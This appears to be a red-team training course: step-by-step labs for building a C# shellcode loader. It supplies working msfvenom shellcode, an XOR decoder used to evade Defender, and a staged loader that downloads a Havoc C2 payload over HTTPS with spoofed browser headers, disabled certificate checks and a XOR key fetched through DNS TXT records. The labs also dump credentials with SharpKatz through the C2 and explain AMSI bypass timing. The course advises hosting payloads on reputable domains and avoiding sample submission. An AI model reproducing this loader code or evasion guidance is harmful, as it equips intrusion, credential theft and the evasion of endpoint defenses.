In order to keep our shellcode loader neatly organized we'll make it modular - so instead of just adding code to the main program - let's put our functions in seperate classes (.cs files) that we can simply call from main. This will allow us to keep adding functionality while keeping an oversight of where we are and what we're doing.

OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\BasicLoaderMod\BasicLoaderMOD.sln"
                        └── BasicLoaderMOD.cs   ->   Our main program
                        └── GetShellcode.cs  -> A new class for retrieving shellcode

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_BasicLoaderMOD"
                        └── msf_msgbox.cs

LAB SOLUTION: "C:\THEV\Labs\Lab_BasicLoaderMOD\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

The first class we're going to make is called "GetShellcode". This class will hold a function (method) named "Payload" that will be responsible for retrieving the shellcode and returing it as a byte array. This will allow us to easily access the shellcode from our main program, or swap it out for a different payload if needed.

  • Open your BasicLoaderMod project in Visual Studio 2019. Note we have removed the content of the shellcode array, so you will need to re-add it later.

  • Create a new class file in Visual Studio called GetShellcode.cs by right-clicking on the project in the Solution Explorer, selecting "Add" -> "Class...", and naming it GetShellcode.cs.

image

image

You will see the following code snippet provided by visual studio:

image

  • Now delete all the code in GetShellcode.cs and paste our shellcode array:
class GetShellcode
{
    public static byte[] Payload()
    {
        return new byte[] {
               
            };
    }
}

image

  • And now let's paste our MSFvenom generated shellcode located in "C:\THEV\Labs\Lab_BasicLoader\msf_msgbox.cs", in the byte array like this:
class GetShellcode
{
    public static byte[] Payload()
    {
        return new byte[] { 0xfc,0x48,0x81,0xe4,0xf0,0xff,
            0xff,0xff,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x48,0x8b,0x52,
            0x18,0x48,0x8b,0x52,0x20,0x56,0x48,0x8b,0x72,0x50,0x48,0x0f,
            0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,
            0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,
            0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,
            0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,
            0x67,0x48,0x01,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,
            0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x4d,0x31,0xc9,0x41,
            0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
            0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
            0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,
            0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,
            0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,0x48,0x01,0xd0,
            0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
            0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
            0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0xe8,0x0b,0x00,0x00,
            0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00,
            0x59,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x49,0xc7,0xc1,
            0x00,0x00,0x00,0x00,0xe8,0x18,0x00,0x00,0x00,0x53,0x75,0x63,
            0x63,0x65,0x73,0x73,0x66,0x75,0x6c,0x20,0x45,0x78,0x65,0x63,
            0x75,0x74,0x69,0x6f,0x6e,0x20,0x3a,0x29,0x00,0x5a,0xe8,0x0c,
            0x00,0x00,0x00,0x43,0x72,0x69,0x6d,0x73,0x6f,0x6e,0x43,0x4f,
            0x52,0x45,0x00,0x41,0x58,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,
            0x56,0x07,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,
            0x56,0xff,0xd5
        };
    }
}

Your GetShellcode class should look like this:

image

Our class is called "GetShellcode" and the function "Payload" returns the shellcode as a byte array. Now we'll have to make some changes to our main program to utilize this shellcode.

  • Open the BasicLoaderMod.cs file and locate the section where the shellcode is being defined.

image

  • We're going to replace that line with a call to our GetShellcode class.
byte[] shellCode = GetShellcode.Payload();

It should look like this, you can see the byte array being initialized with the shellcode by calling the Payload method inf the GetShellcode class:

image

  • Now save both files files (BasicLoaderMod.cs and GetShellcode.cs) and build the solution.

image

image

Your build should succeed without any errors. You can find the compiled assembly in the output directory ("C:\THEV\Labs\BasicLoaderMod\BasicLoaderMod\bin\x64\Release"). Give it a go by executing it, and see if it behaves as expected.

image

image

Congratulations! You've successfully modularized your P/INVOKE Loader lab by creating a separate class for shellcode retrieval. This approach not only keeps your code organized but also makes it easier to manage and update different components of your loader in the future.

Lab - XOR Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

XOR vs AES Encoding: Evasion Summary

Let's make our loader more evasive by encoding our payload with XOR. Why not AES? XOR maintains lower entropy levels and simpler implementation, reducing detection signatures, while AES increases entropy significantly and requires additional crypto libraries that can be monitored by EDR solutions. Additionally, AES will increase Entropy (level of randomness) which you want to avoid - High Entropy (>7) is very often used as an indicator of potential malicious code, whereas XOR keeps entropy lower and blends better with legitimate software patterns.

Evasion Effectiveness Comparison

Evasion FactorXORAESAdvantage
Entropy Level🟢 Low (stays under 7.0 threshold)🔴 High (often triggers >7.0 detection)XOR
API Footprint🟢 No crypto API calls needed🟠 Requires CryptAPI monitoringXOR
Static Signatures🟠 Simple patterns, easily signatured🟢 Complex implementation varietiesAES
Behavioral Detection🔴 Obvious decode loops flagged🟢 Blends with legitimate crypto usageAES
Memory Footprint🟢 Minimal additional libraries🔴 Loads detectable crypto librariesXOR
Implementation Complexity🟢 Simple, fewer detection points🔴 Complex, more monitoring surfacesXOR
False Positive Rate🔴 Low (engines trained against XOR)🟢 Higher (legitimate crypto confusion)AES
Obfuscation Adaptability🟠 Requires heavy modification🟢 Better baseline stealth optionsAES
Performance Impact🟢 Minimal overhead🟠 Higher computational costXOR
Overall Evasiveness🟠 MODERATE🟢 BETTERAES

Legend: 🟢 = Best/Low Risk | 🟠 = Moderate | 🔴 = Worst/High Risk

Key Insight: While XOR offers simplicity and low entropy, modern EDRs have adapted. AES provides better overall evasion through legitimacy and complexity, despite higher entropy concerns.

AspectXORAES
LegitimacyCommonly used by legitimate software (e.g., Microsoft Office VBA macros)Used by legitimate software, but also frequently by malware
API FootprintSimple operation, no additional libraries or specific Windows API calls requiredCalls specific Windows API functions that can be monitored by EDR solutions
Memory FootprintLess conspicuous, no additional libraries loaded in memoryLoads specific AES libraries in memory, detectable by EDR solutions
Entropy ImpactMaintains lower entropy levels, avoiding high entropy detection (>7.0)Increases entropy significantly, triggering entropy-based detection rules
Static DetectionHIGH - Simple patterns heavily signatured by modern AV/EDRMEDIUM - More complex to signature due to implementation variety
Behavioral DetectionHIGH - Obvious decode loops flagged by behavioral enginesLOW - Common in legitimate software, blends with normal crypto usage
False PositivesRARE - Modern engines trained to ignore benign XOR usageHIGHER - Legitimate crypto operations can trigger alerts
Evasion AdaptabilityMODERATE - Detection evaded by obfuscating decode logicHIGHER - Better baseline stealth, more modification options
Implementation ComplexitySimple XOR operation, minimal code requiredMore complex implementation, requires additional dependencies
Performance OverheadMinimal processing overheadHigher computational overhead

OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\XORLoader\XORLoader.sln"
                        ├── XORLoader.cs   ->   Our main program
                        ├── GetShellcode.cs 
                        └── ShellcodeDecoder.cs -> a new class for handling XOR decryption

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_XORLoader"
                        ├── msf_msgbox.bin
                        └── XOR_enc_str_file.exe

LAB SOLUTION: "C:\THEV\Labs\Lab_XORLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

LAB EXERCISE TASKS

StepActionDescription
1.Turn Defender ONWe want to see if our POC code gets detected
2.Create a new payloadGenerate our XOR encoded payload, using msfvenom
3.Modify our loaderAdd XOR de-obfuscation functions
4.Compile and do some forensicsCheck if our loader flags any signatures (detected?)

1. Turn Defender ON

IMPORTANT : Make sure Windows Defender is turned ON!!!

Check if Defender is turned ON by running the checkav.ps1 script:

  • Open a powershell prompt as Administrator:
c:\thev\labs\powershell\av_check.ps1

image

  • If Defender is turned OFF - run the following script to turn it ON:
c:\thev\labs\powershell\av_enable.ps1

image


2. PREPARATION : Generating a XOR encrypted payload (bye array)

There are 4 steps required for to create a XOR encrypted payload:

  1. Generate a binary (raw) payload with MSFVenom,
  2. Define a XORKEY - don't use a single-byte key, those are easily bruteforced by AV/EDR,
  3. XOR encrypt the binary data of the shellcode,
  4. Convert the XOR encrypted data to a C# byte array (remember our C# expects the data in "0x00,0x00 ..." format).

First let's create a binary MSFVenom shellcode payload that pops the same messagebox as before.

  • On your Kali machine, open a terminal and generate a dialog box shellcode in raw format, (we have installed the metasploit framework on it for purposes of generating some simple payloads):
cd /opt/Havoc/payloads
msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Successful Execution :)" TITLE="CrimsonCORE" -f raw -o msf_msgbox.bin
cat msf_msgbox.bin

image

  • On your kali open a terminal:
cd /opt/Havoc/payloads
updog2

image

  • Use chrome to surf to http://kali:9090 and right-click on msf_msgbox.bin , select Save link as and save it to C:\THEV\Labs\Lab_XORLoader

image

NOTE: If you want raw shellcode don't use "-b '\x00\x0a\x0d\x20'" as this will apply XOR encoding and add a XOR-decoder stub to your shellcode. This means the shellcode will self modify when executed and this has consequences on the PAGE permissions in memory (RWX required for self modifying code!!!)

Now let's XOR-obfuscate the msf_msgbox.bin raw shellcode with a tool we wrote ourselves - "XOR_enc_str_file.exe" - which will take any file, a XOR key (use mysecretkey), XOR-obfuscate it and output a C# byte array, that we can embed in our XORLoader.cs program.

cd \THEV\Labs\Lab_XORLoader
.\XOR_enc_str_file.exe msf_msgbox.bin mysecretkey

image

Open the "encoded_output.cs" file to see the XOR-obfuscated C# byte array and copy this in the "GetShellcode.cs" function, or just copy it from your console (the part marked in red).

3. MODIFY OUR BASICLOADER

There are several changes we need to make in our BasicLoader project to accommodate the XOR obfuscation:

  1. Add the XOR obfuscated shellcode to our loader "GetShellcode.cs" function.
  2. Add a new class ("ShellCodeDecoder.cs") that provides a new function that de-obfuscates our XOR encoded shellcode.
  3. Define a xorkey that matches with the key we used to encode our shellcode (string xorkey = "mysecretkey")
  4. Modify the loader to use the XOR decryption function. So we need to add a line to "XORLoader.cs" to call our de-obfuscation function - ShellcodeDecoder.Decode(shellCode, xorkey)
  5. Change the WriteProcessMemory to use the DecodedShellCode.

Below is a screenshot of the final code after all modifications have been made, without the verbose printing to the screen:

image

NOTE: Don't panic when you see the code, there are a lot more lines - but they are actually just prints to the screen so we can follow the process of our XORLoader, and press "any" key to continue to the next step. The actual code without the verbose printing to the screen is shown above in the screenshot

You'll see a bunch of these, they are not important for the functioning our our loader, but just help us see (and troubleshoot if necessary) what's happening under the hood:

image

STEP 1 - Add your XOR obfuscated shellcode to the loader

  • Open "C:\THEV\Labs\XORLoader\XORLoader.sln" with Visual Studio 2019.

  • In Visual Studio 2019, go to the solution explorer (pane on the right), click on the "GetShellcode.cs" file and double-click to open it. Paste your XOR obfuscated byte array in the "GetShellcode.cs" function.

image

STEP 2 - Add a new class ("ShellCodeDecoder.cs")

  • Create a new class file in Visual Studio called ShellcodeDecoder.cs by right-clicking on the project RemoteLoaderin the Solution Explorer, selecting "Add" -> "Class...", and naming it ShellcodeDecoder.cs.

image

image

public static class ShellcodeDecoder
{
    public static byte[] Decode(byte[] shellCode, string xorKey)
    {
        // XOR Decoding process
        byte[] DecodedShellCode = new byte[shellCode.Length];
        for (int i = 0; i < shellCode.Length; i++)
        {
            DecodedShellCode[i] = (byte)(shellCode[i] ^ xorKey[i % xorKey.Length]);
        }

        return DecodedShellCode;
    }
}
  • Delete the sample code provided by visual studio and replace it with the code above:

Your ShellCodeDecoder function should look like this:

image

Summary of C# XOR Decryption Code

  • Purpose: Decrypts a shellCode byte array using XOR with a key ("mysecretkey") and converts the result to a hexadecimal string.

  • XOR Decryption:

    • Iterates through shellCode, XORing each byte with a byte from xorKey (repeating the key as needed).
    • Stores decrypted bytes in DecodedShellCode.
  • Output: A comma-separated hexadecimal string.

IMPORTANT: When using XOR encoding (or encryption), the output length in bytes always equals the input length because XOR is a direct, byte-for-byte transformation. If you use AES, the output length will be larger due to the nature of AES, AES (block cipher) often increases output length due to padding (e.g., 100 bytes → 112 bytes with PKCS#7 padding).

image

STEP 3 - Define a new variable xorkey

  • Right under Section "(2) Get a handle to the current process" add xorkey, a new variable (contains the XOR key used for decryption), just paste it like shown in the screenshot below.
            // XOR key 

            string xorkey = "mysecretkey";

image

STEP 4 - Modify the loader to call the ShellCodeDecoder function

  • Under the xorkey you just defined, add DecodedShellCode, a new byte array`** that will be populated with XOR decrypted shellCode, by submitting the XOR encrypted shellcode to our ShellCodeDecoder function, which will return the decrypted byte array, just paste it like shown in the screenshot below. The ConsoleWriteline statements are not really important, they just print the output to the screen so we can follow the process.
            // (3) XOR Decoding process

            byte[] DecodedShellCode = ShellcodeDecoder.Decode(shellCode, xorkey);

            // Print the XOR decoded shellcode to the screen

            Console.WriteLine("[-] Print XOR decoded shellcode to screen... ");
            byte[] DecodedFirst16 = new byte[Math.Min(DecodedShellCode.Length, 16)];
            Array.Copy(DecodedShellCode, 0, DecodedFirst16, 0, DecodedFirst16.Length);
            WriteColored(($"[+]    Shellcode First 16 bytes: " + BitConverter.ToString(DecodedFirst16).Replace("-", " ")), ConsoleColor.Green);
            WriteColored(($"[+]    Shellcode size: " + DecodedShellCode.Length + " Bytes (" + (DecodedShellCode.Length / 1024.0).ToString("F2") + " KB)"), ConsoleColor.Green);
            WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
            Console.ReadKey();
            Console.WriteLine("[-] Allocating memory region with RWX permission for XOR decoded shellcode... ");

image

STEP 5 : Change the WriteProcessMemory to use the DecodedShellCode

Next is making sure we place the decoded shellcode in memory, our original loader just took the provided (clear-text) shellcode stored in the shellCode array - we need to change this to our decoded payload (DecodedShellCode) of course, or our loader will just crash as the shellcode is still XOR obfuscated. The shellcode.Length can remain as XOR-ing doesn't change the length of the array.

  • Change the WriteProcessMemory call to use the DecodedShellCode by renaming shellCode to DecodedShellCode like shown in the screenshot below:
bool result = WriteProcessMemory(hProcess, funcAddr, DecodedShellCode, (uint)DecodedShellCode.Length, out bytesWritten);

image

Your code should look like this:

image

NOTE: A nice bonus of having a XOR Decryption function in our loader is that not only can we use it to decrypt our shellcode, but we will use this later on also to obfucate strings in our code (i.e. VirtualAlloc, CreateThread etc...) - and there's another bonus to doing that but we'll see that in the "Emulation Evasion" module.

4. Compile your code and run some forensics

  • Now save both files files (BasicLoaderMod.cs and GetShellcode.cs) and build the solution.

image

Your build should succeed without any errors. You can find the compiled assembly in the output directory ("C:\THEV\Labs\XORLoader\XORLoader\bin\x64\Release").

  • You can anylyze your newly built loader with gocheck, PEStudio, Litterbox and CAPA if you have time left - just follow the same steps as in the previous labs (Chapter 1.10.3.1.2- Lab Forensics of the P/INVOKE Loader).

CLEANSCAN REPORT: https://kleenscan.com/scan_result/f86c08ed7b052b96a6442ec1fc6bd365f02ab912f65a53b60d57c4d7bb893f21

image

image

  • Copy your XORLoader.exe to the desktop and execute it.

You can clearly see the XOR obfuscation in action. The initial shellcode is XOR encrypted, we then see the decryption happening in memory, and after injecting it into memory we see the byte array (DecodedShellCode) being cleared

image

Lab - Staged Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

In this lab we'll be making 2 changes to our previous XORLoader:

  1. Instead of having the shellcode embedded in the program, we'll host it on a remote server (your kali box for example) and download it at runtime.
  2. Instead of having the XOR key hardcoded in the program, we'll retrieve it over DNS (TXT record).

This will make our loader much more flexible and harder to detect.

NOTE: And yes we're done with popping message boxes, this is just for proof of code execution purposes. From now on we'll be using actual shellcode payloads (Havoc) and executing them in memory. YAY :) - This loader will work with any PIC shellcode, by the way (meterpreter, sliver, etc...)!


OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\RemoteLoader\RemoteLoader.sln"
                        ├── RemoteLoader.cs   -> Our main program
                        ├── GetShellcode.cs   -> Removed - no longer needed
                        ├── ShellcodeDecoder.cs
                        └── StagedLoader.cs  -> A new class for handling staged loading
                        └── RetrieveXORkey.cs  -> A new class for retrieving the XOR key

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_RemoteLoader"
                        ├── demon.x64.bin
                        └── XOR_B64_Encoder.exe

LAB SOLUTION: "C:\THEV\Labs\Lab_StagedLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

BEST PRACTICES: By removing the payload from our loader, there is no malicious code that static analysis can detect. HOWEVER, by shifting the code from being hardcoded into the loader to external server, it provides more IOC's for dynamic/behavioural analysis. Therefore make sure that:

  1. Host your payload on a reputable server (onedrive, Dropbox, Akamai etc...)
  • Ideally register expired domains with a good reputation, that are categorized as safe (or cloud services like AWS, Azure, Google Cloud).
  1. Use an FQDN, not an IP address (i.e. key.crimsoncore.be instead of 192.168.100.25)
  2. Use HTTPS to download the shellcode - the shellcode never touches disk, it gets loaded into the buffer of a program, but we want to evade network based detections
  3. make the webrequest look legit (user agent, headers etc...)
  4. Use a name for the shellcode that looks normal (i.e. not shellcode.bin but update.dat for example)

Advantages : Easy to change shellcodes (as they're hosted), harder to detect by static analysis - if you want to make this download even safer you could use IP Tables to only allow your target to download the payload.

LAB EXERCISE TASKS

StepActionDescription
1.Turn Defender ONWe want to see if our POC code gets detected
2.Create Havoc Demon shellcodeBinary shellcode XOR encrypted, Base64 encoded
3.Retrieve shellcode remotelyHosted with Updog2 on your kali server
4.Retrieve XOR Key remotelyAdd a new class to do a DNS TXT record lookup for the xorkey
5.Compile and run the codeTest the loader and make sure it works

1. Turn Defender ON

IMPORTANT : Make sure Windows Defender is turned ON!!!

Check if Defender is turned ON by running the checkav.ps1 script:

  • Open a powershell prompt as Administrator:
c:\thev\labs\powershell\av_check.ps1

image

  • If Defender is turned OFF - run the following script to turn it ON:
c:\thev\labs\powershell\av_enable.ps1

image

2. PREPARATION : Generating a XOR encrypted payload (binary)

There are 4 steps required for to create a XOR encrypted payload:

  1. Generate a shellcode binary (raw) payload with Havoc,
  2. Define a XORKEY - don't use a single-byte key, those are easily bruteforced by AV/EDR,
  3. XOR encrypt the binary data of the shellcode, and then we'll also Base64 encode it (this makes it easier to transmit over HTTP and adds another layer of obfuscation),
  4. Host the payload on a remote server (kali box in our case).

Let's start with generating a vanilla Havoc demon payload on Kali:

  • On your kali machine go to your Havoc GUI and create a new demon payload (x64) by going to Attack -> Payload. Save the payload as demon.x64.bin in opt\Havoc\payloads.

image

  • Open a terminal on kali and start Updog2 (with ssl) to start hosting your Havoc payloads directory:
cd /opt/Havoc/payloads
updog2 --ssl

image

  • Then on windows open a powershell prompt and download your demon.x64.bin and convert your havoc demon payload ("demon.x64.bin") to a XOR and Base64 encoded string with our tool XOR_B64_Encoder.exe:
cd /THEV/Labs/Lab_RemoteLoader
scp Threatadmin@kali:/opt/Havoc/payloads/demon.x64.bin .

We're using SCP to copy the file from our kali box to our windows lab machine, it will prompt you for the password of the Threatadmin user on kali. You of course can also use Updog2 to download the file if you want. Just make sure you're in the right working directory on windows (C:\THEV\Labs\Lab_RemoteLoader) when downloading your shellcode executing the XOR_B64_Encoder.exe tool.

image

  • From the same powershell prompt execute the following command to generate the XOR and Base64 encoded payload:
.\XOR_B64_Encoder.exe .\demon.x64.bin mysecretkey b64

image

Since we'll be hosting the payload on a webserver (in this case our kali machine), we need to upload our XOR and B64 encoded shellcode again.

  • Upload your XOR and Base64 payload (payload.b64) to kali:
scp payload.b64 Threatadmin@kali:/opt/Havoc/payloads/payload.b64

image

  • Use chrome to verify your payload.base64 is accessible over HTTPS by going to https://kali:9090.

image

NOTE: If you get certificate warnings in your browser, this is because we're using self-signed certificates with updog2. In a real-world scenario you would use a valid certificate from a trusted CA.

  • Click on advanced and the proceed to kali (unsafe). You should see you payloads directory that's being hosted by updog2, and your payload.b64 file should be there.

image


3 : DOWNLOADING THE PAYLOAD REMOTELY (HTTPS)

We need to create a new class that will handle the downloading of our shellcode from our remote server.

StagedLoader.cs

  • In visual studio, create a new class file called StagedLoader.cs by going to the Solution Explorer, right-click on RemoteLoader -> Add -> Add new class, select C# Class at the top and name the file StagedLoader.cs.

image image

  • Delete the dummy code provided by Visual Studio and paste the following code:
using System;
using System.Net;

public class StagedLoader
{
    public static byte[] DownloadShellCode(string payloadUrl)
    {
        // Bypass SSL/TLS certificate validation for self-signed certificates (use with caution)
        ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => true;

        using (WebClient client = new WebClient())
        {
            // Add HTTP headers
            client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36");
            client.Headers.Add("Accept", "application/octet-stream");
            client.Headers.Add("Accept-Encoding", "gzip, deflate");
            client.Headers.Add("Accept-Language", "en-US,en;q=0.9");
            client.Headers.Add("Referer", "https://www.contoso.com/support/downloads/latest-updates");

            // Download the Base64-encoded string
            string base64String = client.DownloadString(payloadUrl);
            long downloadSize = System.Text.Encoding.UTF8.GetByteCount(base64String);
            RemoteLoader.Payload.WriteColored($"[+]    Downloaded payload size (Base64 string): {downloadSize} Bytes ({downloadSize / 1024.0:F2} KB)", ConsoleColor.Green);

            // Decode the Base64 string to bytes
            return Convert.FromBase64String(base64String);
        }
    }
}

This class ("StagedLoader") contains a single method ***DownloadShellCode*** that takes a URL as input, downloads the Base64-encoded shellcode from that URL, and decodes it into a byte array. We make the webrequest look legit (user agent, headers etc...) - and in the sample code above we also bypass SSL/TLS certificate validation for self-signed certificates (our lab uses self-signed certificates).

4. RETRIEVING THE XOR KEY OVER DNS

We have set up a DNS TXT record on our domain crimsoncore.be that contains our XOR key. In this case the hostname is key.crimsoncore.be and the TXT record value is mysecretkey.

image

  • In visual studio, create a new class file called RetrieveXORKey.cs by going to the Solution Explorer, right-click on RemoteLoader -> Add -> Add new class, select C# Class at the top and name the file RetrieveXORKey.cs

  • Delete the dummy code provided by Visual Studio and paste the following code:

RetrieveXORKey.cs

using System;
using System.Linq;
using DnsClient;

public static class RetrieveXORKey
{
    public static string GetKey(string hostname)
    {
        try
        {
            // Use system's default DNS resolver
            var lookup = new LookupClient();

            // Query TXT records
            var result = lookup.Query(hostname, QueryType.TXT);

            // Extract the first TXT record
            var txtRecord = result.Answers.TxtRecords().FirstOrDefault();
            if (txtRecord == null)
            {
                throw new Exception("No TXT record found for " + hostname);
            }

            // Return the TXT record value (concatenate all strings in the record)
            string txtValue = string.Join("", txtRecord.Text);
            
            return txtValue;
        }
        catch (Exception ex)
        {
            throw new Exception($"Failed to retrieve TXT record for {hostname}: {ex.Message}", ex);
        }
    }
}
  • Go to Tools > NuGet Package Manager -> Manage NuGet Packages for solution... -> Browse -> Search for DnsClient -> Install version 1.8.0

image

image image

You will probably get some errors after installing the package, this is because we are still referring to our old (locally embedded) shellcode in GetShellcode.cs which we no longer need - and have removed from our project. Don't worry about those, we'll fix that in the next steps.

image

  • Next to the same but now add the Costura.Fody NuGet package to the project as well. This will help us embed all dependencies into a single executable, making it easier to deploy. Also add Costura.Fody -> filesize 11k to 98k

image image

  • Double-check that both packages are installed by going to the Installed tab:

image

Call the new classes in our main program (RemoteLoader.cs)

Let's start with calling the StagedLoader to download the payload from our remote server.

  • Open RemoteLoader.cs and remove the following code at the beggining of the Main method:

image

  • Now paste the code below at the location marked // (1) Get our shellcode:
// (1) Get our shellcode
            WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
            Console.ReadKey();

            // Define URL hosting payload

            string payloadUrl = "https://kali:9090/payload.b64";
            
            Console.WriteLine($"[-] Downloading XOR and Base64 encoded payload from: " + payloadUrl);

            byte[] shellCode = StagedLoader.DownloadShellCode(payloadUrl);
           
            WriteColored(($"[+]    Payload successfully downloaded!!! "), ConsoleColor.Green);
            WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
            Console.ReadKey();

Your code should look like this :

image

The main changes are:

  1. We define the URL where our payload is hosted (make sure to change this to your own URL), string payloadUrl = "https://kali:9090/payload.b64";
  2. And let's call our StagedLoader : byte[] shellCode = StagedLoader.DownloadShellCode(payloadUrl); - This will download the payload from the URL and decode it from Base64 to a byte array (it's still XOR encoded at this point).

The rest of the are just print statements to show the progress.

Next we'll retrieve the XOR key from DNS.

  • Still in RemoteLoader.cs , scroll down to // XOR key (Right under Section "(2) Get a handle to the current process") replace the following code:
            // XOR key

            string xorkey = "mysecretkey";
  • Paste over the code below at the location marked // XOR Key:

image

// Fetching XORKEY from DNS TXT record

           Console.WriteLine("[-] Remotely fetching XORKEY (DNS TXT record)... ");

           string xorkeyhost = "key.crimsoncore.be";
           string xorkey = RetrieveXORKey.GetKey(xorkeyhost);

           WriteColored(($"[+]    XORKEY: " + xorkey), ConsoleColor.Green);
           WriteColored(($"[+]    Fetched from: " + xorkeyhost), ConsoleColor.Green);
           WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
           Console.ReadKey();

Your code should now look like this:

image

5. Compile and run the code

  • Compile your code and copy your RemoteLoader.exe to the desktop and execute it.

image

You'll see a new Havoc agent pop up in your Havoc GUI. Additonally you'll see the payload being downloaded in your kali terminal that's hosting the payload with updog2.

image

Let's see if we can dump credentials with SharpKatz by using the dotnet inline-execute command in Havoc.

  • In your Havoc GUI right-click on your Havoc agent and select Interact, use the command line below to execute SharpKatz:

image

dotnet inline-execute /opt/Havoc/assemblies/SharpKatz.exe

image

NOTE: When copy pasting this in the Havoc GUI, we noticed that pasting sometimes adds some trailing spaces at the end of the command, make sure to remove those spaces.

You will get an error that the assembly can't be loaded, make sure AMSI is properly bypassed. You'll not see a Defender alert pop up, but the error will be in the Havoc console, this is because dotnet-inline-execute uses ``Assembly.Load` which is scanned by AMSI and it sends the contents to Defender for scanning.

Get-MpThreatDetection | Sort-Object InitialDetectionTime -Descending | Select-Object -First 1

image

This is blocked by AMSI so we need to bypass that first. Which takes us to the next lab!!!

  • But you told us .net below v4.8 compiled binaries don't integrate with AMSI/CLR scanning, and our RemoteLoader is compiled with .net 4.7.2 right?
  • This is true, but the assembly loading methods used by dotnet inline-execute are monitored by AMSI/ETW regardless of the .net version the assembly is compiled with. So even if our loader is not affected by AMSI/ETW, the way we're loading SharpKatz in memory is still being monitored and blocked. They spawn a new CLR with .net4.x to cover all .net versions. Therefore this new CLR is compatible with the CLR and AMSI scanning

But before we do that, remember the SharpKatz binary we uploaded to kali in the Static Analysis lab? We uploaded the AV bypassed version of SharpKatz (SharpKatz_bypass.exe) to our kali host. Let's use that one instead and see what happens.

  • In your Havoc GUI right-click on your Havoc agent and select Interact, use the command line below to execute the AV bypassed SharpKatz:
dotnet inline-execute /opt/Havoc/payloads/SharpKatz_bypass.exe

image

You should now see SharpKatz executing properly and dumping credentials without any errors, of course this is cool - but we don't want to rely on having an AV bypassed version of every assembly we want to execute in memory. So in the next lab we'll be looking at how to bypass AMSI/ETW in our loaders so we can execute any assembly in memory without being blocked by AMSI.

AMSI & .NET

1. RECAP: AMSI Behaviour in powershell versus .NET Applications

Let's recap the difference of AMSI behaviour in powershell versus .net applications, specifically focusing on your C# RemoteLoader that uses DnsClient.NET embedded with Fody.Costura.

We have seen before that AMSI is loaded by default in powershell processes:

image

In .net applications, AMSI is not loaded by default. Instead, it is loaded on-demand based on certain triggers, such as dynamic assembly loads (Assembly.Load) or script execution. This makes patching AMSI in .net applications more challenging, as the timing of AMSI loading can vary depending on the application's behavior. AMSI Scanning in a .net process will not scan unmanaged code (i.e. Pinvoke calls).

When your C# RemoteLoader app calls the GetKey() method, it triggers the loading of AMSI because it involves dynamic assembly loading through the Fody.Costura library. This is not a problem for benign libraries like DnsClient.NET, but it does mean that AMSI is now active in your process.

We see this when we start our remote loader and monitor the loaded modules (check the timestamps):

image

After continuing execution to the GetKey() call, we see that amsi.dll is now loaded (check the timestamps):

image

Patching AMSI in .net applications requires careful consideration of when and how AMSI is loaded. Since AMSI is not present at process start, any patches must be applied after the relevant triggers occur. This can be more complex than patching AMSI in powershell, where it is always loaded.

Therefore, our AMSI patch forces AMSI to be loaded early in the process, before any dynamic assembly loads occur. This ensures that our patch is applied before AMSI can scan any assemblies or scripts, effectively neutralizing its monitoring capabilities. Once AMSI is loaded, our patch modifies its behavior to prevent it from scanning or blocking any content, allowing your RemoteLoader app to operate without interference.

AMSI will not be reloaded or re-initialized after being patched, so applying the patch early ensures that all subsequent AMSI activity is neutralized.

2. Detailed AMSI Patch debugging in .NET

Overview of functions available in amsi.dll:

image

